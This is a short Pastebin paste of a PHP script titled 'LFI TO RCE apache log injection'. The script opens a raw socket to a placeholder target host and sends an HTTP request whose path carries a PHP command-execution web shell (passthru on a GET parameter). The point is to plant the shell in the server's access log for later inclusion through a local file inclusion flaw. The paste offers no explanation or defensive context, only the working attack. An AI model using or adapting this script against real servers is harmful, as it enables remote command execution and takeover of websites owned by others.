Saint92

LFI TO RCE apache log injection

Dec 20th, 2015
332
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.43 KB | None | 0 0
  1. <?php
  2. $fp=fsockopen("www.target.com",80,$errno,$errstr,30);
  3. if (!$fp) {
  4. echo "$errstr ($errno)<br />\n";
  5. } else {
  6. $out = "GET/<?php if(get_magic_quotes_gpc()){\$_GET[x]=stripslashes(\$_GET[x]);} passthru(\$_GET[x]);?> HTTP/1.1\r\n";
  7. $out .= "Host:www.target.com\r\n";
  8. $out.="User-Agent : Mozilla 5.0\r\n";
  9. $out .= "Connection:Close\r\n\r\n";
  10. fwrite($fp, $out);
  11. while (!feof($fp)) {
  12. echo fgets($fp, 128);
  13. }
  14. fclose($fp);
  15. }
  16. ?>
Add Comment
Please, Sign In to add comment